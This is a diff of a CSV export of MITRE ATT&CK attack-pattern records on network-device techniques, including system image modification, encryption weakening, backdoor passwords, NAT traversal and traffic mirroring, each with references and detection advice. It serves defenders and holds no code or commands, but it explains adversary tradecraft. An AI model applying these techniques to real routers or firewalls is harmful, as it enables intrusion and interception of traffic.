+attack-pattern,attack-pattern--ae7f3575-0a5e-427e-991b-fe03ad44c754,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-19T19:42:19.740Z,2020-10-22T17:50:47.635Z,Modify System Image,"Adversaries may make changes to the operating system of embedded network devices to weaken defenses and provide new capabilities for themselves. On such devices, the operating systems are typically monolithic and most of the device functionality and capabilities are contained within a single file. -To change the operating system, the adversary typically only needs to affect this one file, replacing or modifying it. This can either be done live in memory during system runtime for immediate effect, or in storage to implement the change on the next boot of the network device.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1601', external_id='T1601'), ExternalReference(source_name='Cisco IOS Software Integrity Assurance - Image File Verification', description='Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020.', url='https://tools.cisco.com/security/center/resources/integrity_assurance.html#7'), ExternalReference(source_name='Cisco IOS Software Integrity Assurance - Run-Time Memory Verification', description='Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.', url='https://tools.cisco.com/security/center/resources/integrity_assurance.html#13')]",attack-pattern--ae7f3575-0a5e-427e-991b-fe03ad44c754,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-10-22 17:50:47.635000+00:00,Modify System Image,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,['File: File Modification'],,,,,"Most embedded network devices provide a command to print the version of the currently running operating system. Use this command to query the operating system for its version number and compare it to what is expected for the device in question. Because this method may be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001), it may be appropriate to also verify the integrity of the vendor provided operating system image file. +To change the operating system, the adversary typically only needs to affect this one file, replacing or modifying it. This can either be done live in memory during system runtime for immediate effect, or in storage to implement the change on the next boot of the network device.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1601', 'external_id': 'T1601'}, {'source_name': 'Cisco IOS Software Integrity Assurance - Image File Verification', 'description': 'Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020.', 'url': 'https://tools.cisco.com/security/center/resources/integrity_assurance.html#7'}, {'source_name': 'Cisco IOS Software Integrity Assurance - Run-Time Memory Verification', 'description': 'Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.', 'url': 'https://tools.cisco.com/security/center/resources/integrity_assurance.html#13'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['File: File Modification'],,"Most embedded network devices provide a command to print the version of the currently running operating system. Use this command to query the operating system for its version number and compare it to what is expected for the device in question. Because this method may be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001), it may be appropriate to also verify the integrity of the vendor provided operating system image file. Compare the checksum of the operating system file with the checksum of a known good copy from a trusted source. Some embedded network device platforms may have the capability to calculate the checksum of the file, while others may not. Even for those platforms that have the capability, it is recommended to download a copy of the file to a trusted computer to calculate the checksum with software that is not compromised. (Citation: Cisco IOS Software Integrity Assurance - Image File Verification) -Many vendors of embedded network devices can provide advanced debugging support that will allow them to work with device owners to validate the integrity of the operating system running in memory. If a compromise of the operating system is suspected, contact the vendor technical support and seek such services for a more thorough inspection of the current running system. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)",,,,,False,,,['Administrator'],['Network'],,,,1.0 -2020-10-19 19:11:18.757000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries disable a network device’s dedicated hardware encryption, which may enable them to leverage weaknesses in software encryption in order to reduce the effort involved in collecting, manipulating, and exfiltrating transmitted data. +Many vendors of embedded network devices can provide advanced debugging support that will allow them to work with device owners to validate the integrity of the operating system running in memory. If a compromise of the operating system is suspected, contact the vendor technical support and seek such services for a more thorough inspection of the current running system. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)",False,['Administrator'],['Network'],1.0,,,,,,, +attack-pattern,attack-pattern--7efba77e-3bc4-4ca5-8292-d8201dcd64b5,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-19T19:11:18.757Z,2020-10-21T22:37:48.503Z,Disable Crypto Hardware,"Adversaries disable a network device’s dedicated hardware encryption, which may enable them to leverage weaknesses in software encryption in order to reduce the effort involved in collecting, manipulating, and exfiltrating transmitted data. -Many network devices such as routers, switches, and firewalls, perform encryption on network traffic to secure transmission across networks. Often, these devices are equipped with special, dedicated encryption hardware to greatly increase the speed of the encryption process as well as to prevent malicious tampering. When an adversary takes control of such a device, they may disable the dedicated hardware, for example, through use of [Modify System Image](https://attack.mitre.org/techniques/T1601), forcing the use of software to perform encryption on general processors. This is typically used in conjunction with attacks to weaken the strength of the cipher in software (e.g., [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001)). (Citation: Cisco Blog Legacy Device Attacks)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1600/002', external_id='T1600.002'), ExternalReference(source_name='Cisco Blog Legacy Device Attacks', description='Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.', url='https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954')]",attack-pattern--7efba77e-3bc4-4ca5-8292-d8201dcd64b5,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-10-21 22:37:48.503000+00:00,Disable Crypto Hardware,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,['File: File Modification'],,,,,"There is no documented method for defenders to directly identify behaviors that disable cryptographic hardware. Detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601) and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008). Some detection methods require vendor support to aid in investigation.",,,,,True,,,['Administrator'],['Network'],,,,1.0 -2020-10-19 19:03:48.310000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may reduce the level of effort required to decrypt data transmitted over the network by reducing the cipher strength of encrypted communications.(Citation: Cisco Synful Knock Evolution) +Many network devices such as routers, switches, and firewalls, perform encryption on network traffic to secure transmission across networks. Often, these devices are equipped with special, dedicated encryption hardware to greatly increase the speed of the encryption process as well as to prevent malicious tampering. When an adversary takes control of such a device, they may disable the dedicated hardware, for example, through use of [Modify System Image](https://attack.mitre.org/techniques/T1601), forcing the use of software to perform encryption on general processors. This is typically used in conjunction with attacks to weaken the strength of the cipher in software (e.g., [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001)). (Citation: Cisco Blog Legacy Device Attacks)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1600/002', 'external_id': 'T1600.002'}, {'source_name': 'Cisco Blog Legacy Device Attacks', 'description': 'Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.', 'url': 'https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['File: File Modification'],,"There is no documented method for defenders to directly identify behaviors that disable cryptographic hardware. Detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601) and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008). Some detection methods require vendor support to aid in investigation.",True,['Administrator'],['Network'],1.0,,,,,,, +attack-pattern,attack-pattern--3a40f208-a9c1-4efa-a598-4003c3681fb8,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-19T19:03:48.310Z,2020-10-21T22:36:22.369Z,Reduce Key Space,"Adversaries may reduce the level of effort required to decrypt data transmitted over the network by reducing the cipher strength of encrypted communications.(Citation: Cisco Synful Knock Evolution) Adversaries can weaken the encryption software on a compromised network device by reducing the key size used by the software to convert plaintext to ciphertext (e.g., from hundreds or thousands of bytes to just a couple of bytes). As a result, adversaries dramatically reduce the amount of effort needed to decrypt the protected information without the key. -Adversaries may modify the key size used and other encryption parameters using specialized commands in a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) introduced to the system through [Modify System Image](https://attack.mitre.org/techniques/T1601) to change the configuration of the device. (Citation: Cisco Blog Legacy Device Attacks)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1600/001', external_id='T1600.001'), ExternalReference(source_name='Cisco Synful Knock Evolution', description='Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.', url='https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices'), ExternalReference(source_name='Cisco Blog Legacy Device Attacks', description='Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.', url='https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954')]",attack-pattern--3a40f208-a9c1-4efa-a598-4003c3681fb8,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-10-21 22:36:22.369000+00:00,Reduce Key Space,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,['File: File Modification'],,,,,"There is no documented method for defenders to directly identify behaviors that reduce encryption key space. Detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601) and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008). Some detection methods require vendor support to aid in investigation.",,,,,True,,,['Administrator'],['Network'],,,,1.0 -2020-10-19 18:47:08.759000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may compromise a network device’s encryption capability in order to bypass encryption that would otherwise protect data communications. (Citation: Cisco Synful Knock Evolution) +Adversaries may modify the key size used and other encryption parameters using specialized commands in a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) introduced to the system through [Modify System Image](https://attack.mitre.org/techniques/T1601) to change the configuration of the device. (Citation: Cisco Blog Legacy Device Attacks)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1600/001', 'external_id': 'T1600.001'}, {'source_name': 'Cisco Synful Knock Evolution', 'description': 'Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.', 'url': 'https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices'}, {'source_name': 'Cisco Blog Legacy Device Attacks', 'description': 'Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.', 'url': 'https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['File: File Modification'],,"There is no documented method for defenders to directly identify behaviors that reduce encryption key space. Detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601) and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008). Some detection methods require vendor support to aid in investigation.",True,['Administrator'],['Network'],1.0,,,,,,, +attack-pattern,attack-pattern--1f9012ef-1e10-4e48-915e-e03563435fe8,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-19T18:47:08.759Z,2020-10-21T22:37:49.258Z,Weaken Encryption,"Adversaries may compromise a network device’s encryption capability in order to bypass encryption that would otherwise protect data communications. (Citation: Cisco Synful Knock Evolution) Encryption can be used to protect transmitted network traffic to maintain its confidentiality (protect against unauthorized disclosure) and integrity (protect against unauthorized changes). Encryption ciphers are used to convert a plaintext message to ciphertext and can be computationally intensive to decipher without the associated decryption key. Typically, longer keys increase the cost of cryptanalysis, or decryption without the key. -Adversaries can compromise and manipulate devices that perform encryption of network traffic. For example, through behaviors such as [Modify System Image](https://attack.mitre.org/techniques/T1601), [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001), and [Disable Crypto Hardware](https://attack.mitre.org/techniques/T1600/002), an adversary can negatively effect and/or eliminate a device’s ability to securely encrypt network traffic. This poses a greater risk of unauthorized disclosure and may help facilitate data manipulation, Credential Access, or Collection efforts. (Citation: Cisco Blog Legacy Device Attacks)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1600', external_id='T1600'), ExternalReference(source_name='Cisco Synful Knock Evolution', description='Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.', url='https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices'), ExternalReference(source_name='Cisco Blog Legacy Device Attacks', description='Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.', url='https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954')]",attack-pattern--1f9012ef-1e10-4e48-915e-e03563435fe8,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-10-21 22:37:49.258000+00:00,Weaken Encryption,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,['File: File Modification'],['Encryption'],,,,"There is no documented method for defenders to directly identify behaviors that weaken encryption. Detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601). Some detection methods require vendor support to aid in investigation.",,,,,False,,,['Administrator'],['Network'],,,,1.0 -2020-10-19 17:58:04.155000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices. +Adversaries can compromise and manipulate devices that perform encryption of network traffic. For example, through behaviors such as [Modify System Image](https://attack.mitre.org/techniques/T1601), [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001), and [Disable Crypto Hardware](https://attack.mitre.org/techniques/T1600/002), an adversary can negatively effect and/or eliminate a device’s ability to securely encrypt network traffic. This poses a greater risk of unauthorized disclosure and may help facilitate data manipulation, Credential Access, or Collection efforts. (Citation: Cisco Blog Legacy Device Attacks)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1600', 'external_id': 'T1600'}, {'source_name': 'Cisco Synful Knock Evolution', 'description': 'Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.', 'url': 'https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices'}, {'source_name': 'Cisco Blog Legacy Device Attacks', 'description': 'Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.', 'url': 'https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['File: File Modification'],['Encryption'],"There is no documented method for defenders to directly identify behaviors that weaken encryption. Detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601). Some detection methods require vendor support to aid in investigation.",False,['Administrator'],['Network'],1.0,,,,,,, +attack-pattern,attack-pattern--fa44a152-ac48-441e-a524-dd7b04b8adcd,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-19T17:58:04.155Z,2021-04-20T20:11:00.356Z,Network Device Authentication,"Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices. -[Modify System Image](https://attack.mitre.org/techniques/T1601) may include implanted code to the operating system for network devices to provide access for adversaries using a specific password. The modification includes a specific password which is implanted in the operating system image via the patch. Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: FireEye - Synful Knock)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1556/004', external_id='T1556.004'), ExternalReference(source_name='FireEye - Synful Knock', description='Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. Retrieved October 19, 2020.', url='https://www.fireeye.com/blog/threat-research/2015/09/synful_knock_-_acis.html'), ExternalReference(source_name='Cisco IOS Software Integrity Assurance - Image File Verification', description='Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020.', url='https://tools.cisco.com/security/center/resources/integrity_assurance.html#7'), ExternalReference(source_name='Cisco IOS Software Integrity Assurance - Run-Time Memory Verification', description='Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.', url='https://tools.cisco.com/security/center/resources/integrity_assurance.html#13')]",attack-pattern--fa44a152-ac48-441e-a524-dd7b04b8adcd,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='credential-access'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence')]",2021-04-20 20:11:00.356000+00:00,Network Device Authentication,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,['File: File Modification'],,,,,"Consider verifying the checksum of the operating system file and verifying the image of the operating system in memory.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)(Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification) +[Modify System Image](https://attack.mitre.org/techniques/T1601) may include implanted code to the operating system for network devices to provide access for adversaries using a specific password. The modification includes a specific password which is implanted in the operating system image via the patch. Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: FireEye - Synful Knock)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1556/004', 'external_id': 'T1556.004'}, {'source_name': 'FireEye - Synful Knock', 'description': 'Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. Retrieved October 19, 2020.', 'url': 'https://www.fireeye.com/blog/threat-research/2015/09/synful_knock_-_acis.html'}, {'source_name': 'Cisco IOS Software Integrity Assurance - Image File Verification', 'description': 'Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020.', 'url': 'https://tools.cisco.com/security/center/resources/integrity_assurance.html#7'}, {'source_name': 'Cisco IOS Software Integrity Assurance - Run-Time Memory Verification', 'description': 'Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.', 'url': 'https://tools.cisco.com/security/center/resources/integrity_assurance.html#13'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['File: File Modification'],,"Consider verifying the checksum of the operating system file and verifying the image of the operating system in memory.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)(Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification) -Detection of this behavior may be difficult, detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601).",,,,,True,,,['Administrator'],['Network'],,,,2.0 -2020-10-19 16:48:08.241000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may bridge network boundaries by modifying a network device’s Network Address Translation (NAT) configuration. Malicious modifications to NAT may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks. +Detection of this behavior may be difficult, detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601).",True,['Administrator'],['Network'],2.0,,,,,,, +attack-pattern,attack-pattern--4ffc1794-ec3b-45be-9e52-42dbcb2af2de,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-19T16:48:08.241Z,2020-10-21T01:45:58.951Z,Network Address Translation Traversal,"Adversaries may bridge network boundaries by modifying a network device’s Network Address Translation (NAT) configuration. Malicious modifications to NAT may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks. Network devices such as routers and firewalls that connect multiple networks together may implement NAT during the process of passing packets between networks. When performing NAT, the network device will rewrite the source and/or destination addresses of the IP address header. Some network designs require NAT for the packets to cross the border device. A typical example of this is environments where internal networks make use of non-Internet routable addresses.(Citation: RFC1918) When an adversary gains control of a network boundary device, they can either leverage existing NAT configurations to send traffic between two separated networks, or they can implement NAT configurations of their own design. In the case of network designs that require NAT to function, this enables the adversary to overcome inherent routing limitations that would normally prevent them from accessing protected systems behind the border device. In the case of network designs that do not require NAT, address translation can be used by adversaries to obscure their activities, as changing the addresses of packets that traverse a network boundary device can make monitoring data transmissions more challenging for defenders. -Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to change the operating system of a network device, implementing their own custom NAT mechanisms to further obscure their activities","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1599/001', external_id='T1599.001'), ExternalReference(source_name='RFC1918', description='IETF Network Working Group. (1996, February). Address Allocation for Private Internets. Retrieved October 20, 2020.', url='https://tools.ietf.org/html/rfc1918')]",attack-pattern--4ffc1794-ec3b-45be-9e52-42dbcb2af2de,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-10-21 01:45:58.951000+00:00,Network Address Translation Traversal,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",,,,,"Consider monitoring network traffic on both interfaces of border network devices. Compare packets transmitted by the device between networks to look for signs of NAT being implemented. Packets which have their IP addresses changed should still have the same size and contents in the data encapsulated beyond Layer 3. In some cases, Port Address Translation (PAT) may also be used by an adversary. +Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to change the operating system of a network device, implementing their own custom NAT mechanisms to further obscure their activities","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1599/001', 'external_id': 'T1599.001'}, {'source_name': 'RFC1918', 'description': 'IETF Network Working Group. (1996, February). Address Allocation for Private Internets. Retrieved October 20, 2020.', 'url': 'https://tools.ietf.org/html/rfc1918'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",,"Consider monitoring network traffic on both interfaces of border network devices. Compare packets transmitted by the device between networks to look for signs of NAT being implemented. Packets which have their IP addresses changed should still have the same size and contents in the data encapsulated beyond Layer 3. In some cases, Port Address Translation (PAT) may also be used by an adversary. -Monitor the border network device’s configuration to determine if any unintended NAT rules have been added without authorization.",,,,,True,,,['Administrator'],['Network'],,,,1.0 -2020-10-19 16:08:29.817000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may bridge network boundaries by compromising perimeter network devices. Breaching these devices may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks. +Monitor the border network device’s configuration to determine if any unintended NAT rules have been added without authorization.",True,['Administrator'],['Network'],1.0,,,,,,, +attack-pattern,attack-pattern--b8017880-4b1e-42de-ad10-ae7ac6705166,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-19T16:08:29.817Z,2020-10-21T01:45:59.246Z,Network Boundary Bridging,"Adversaries may bridge network boundaries by compromising perimeter network devices. Breaching these devices may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks. Devices such as routers and firewalls can be used to create boundaries between trusted and untrusted networks. They achieve this by restricting traffic types to enforce organizational policy in an attempt to reduce the risk inherent in such connections. Restriction of traffic can be achieved by prohibiting IP addresses, layer 4 protocol ports, or through deep packet inspection to identify applications. To participate with the rest of the network, these devices can be directly addressable or transparent, but their mode of operation has no bearing on how the adversary can bypass them when compromised. -When an adversary takes control of such a boundary device, they can bypass its policy enforcement to pass normally prohibited traffic across the trust boundary between the two separated networks without hinderance. By achieving sufficient rights on the device, an adversary can reconfigure the device to allow the traffic they want, allowing them to then further achieve goals such as command and control via [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003) or exfiltration of data via [Traffic Duplication](https://attack.mitre.org/techniques/T1020/001). In the cases where a border device separates two separate organizations, the adversary can also facilitate lateral movement into new victim environments.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1599', external_id='T1599')]",attack-pattern--b8017880-4b1e-42de-ad10-ae7ac6705166,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-10-21 01:45:59.246000+00:00,Network Boundary Bridging,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']","['Router ACL', 'Firewall']",,,,"Consider monitoring network traffic on both interfaces of border network devices with out-of-band packet capture or network flow data, using a different device than the one in question. Look for traffic that should be prohibited by the intended network traffic policy enforcement for the border network device. +When an adversary takes control of such a boundary device, they can bypass its policy enforcement to pass normally prohibited traffic across the trust boundary between the two separated networks without hinderance. By achieving sufficient rights on the device, an adversary can reconfigure the device to allow the traffic they want, allowing them to then further achieve goals such as command and control via [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003) or exfiltration of data via [Traffic Duplication](https://attack.mitre.org/techniques/T1020/001). In the cases where a border device separates two separate organizations, the adversary can also facilitate lateral movement into new victim environments.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1599', 'external_id': 'T1599'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']","['Router ACL', 'Firewall']","Consider monitoring network traffic on both interfaces of border network devices with out-of-band packet capture or network flow data, using a different device than the one in question. Look for traffic that should be prohibited by the intended network traffic policy enforcement for the border network device. -Monitor the border network device’s configuration to validate that the policy enforcement sections are what was intended. Look for rules that are less restrictive, or that allow specific traffic types that were not previously authorized.",,,,,False,,,['Administrator'],['Network'],,,,1.0 -2020-10-19 13:40:11.118000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised network infrastructure. Traffic mirroring is a native feature for some network devices and used for network analysis and may be configured to duplicate traffic and forward to one or more destinations for analysis by a network analyzer or other monitoring device. (Citation: Cisco Traffic Mirroring) (Citation: Juniper Traffic Mirroring) +Monitor the border network device’s configuration to validate that the policy enforcement sections are what was intended. Look for rules that are less restrictive, or that allow specific traffic types that were not previously authorized.",False,['Administrator'],['Network'],1.0,,,,,,, +attack-pattern,attack-pattern--7c46b364-8496-4234-8a56-f7e6727e21e1,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-19T13:40:11.118Z,2021-08-16T15:23:37.640Z,Traffic Duplication,"Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised network infrastructure. Traffic mirroring is a native feature for some network devices and used for network analysis and may be configured to duplicate traffic and forward to one or more destinations for analysis by a network analyzer or other monitoring device. (Citation: Cisco Traffic Mirroring) (Citation: Juniper Traffic Mirroring) -Adversaries may abuse traffic mirroring to mirror or redirect network traffic through other network infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) Adversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Input Capture](https://attack.mitre.org/techniques/T1056), or [Man-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1020/001', external_id='T1020.001'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/117.html', external_id='CAPEC-117'), ExternalReference(source_name='Cisco Traffic Mirroring', description='Cisco. (n.d.). Cisco IOS XR Interface and Hardware Component Configuration Guide for the Cisco CRS Router, Release 5.1.x. Retrieved October 19, 2020.', url='https://www.cisco.com/c/en/us/td/docs/routers/crs/software/crs_r5-1/interfaces/configuration/guide/hc51xcrsbook/hc51span.html'), ExternalReference(source_name='Juniper Traffic Mirroring', description='Juniper. (n.d.). Understanding Port Mirroring on EX2200, EX3200, EX3300, EX4200, EX4500, EX4550, EX6200, and EX8200 Series Switches. Retrieved October 19, 2020.', url='https://www.juniper.net/documentation/en_US/junos/topics/concept/port-mirroring-ex-series.html'), ExternalReference(source_name='US-CERT-TA18-106A', description='US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.', url='https://www.us-cert.gov/ncas/alerts/TA18-106A'), ExternalReference(source_name='Cisco Blog Legacy Device Attacks', description='Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.', url='https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954')]",attack-pattern--7c46b364-8496-4234-8a56-f7e6727e21e1,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='exfiltration')]",2020-10-22 02:24:54.640000+00:00,Traffic 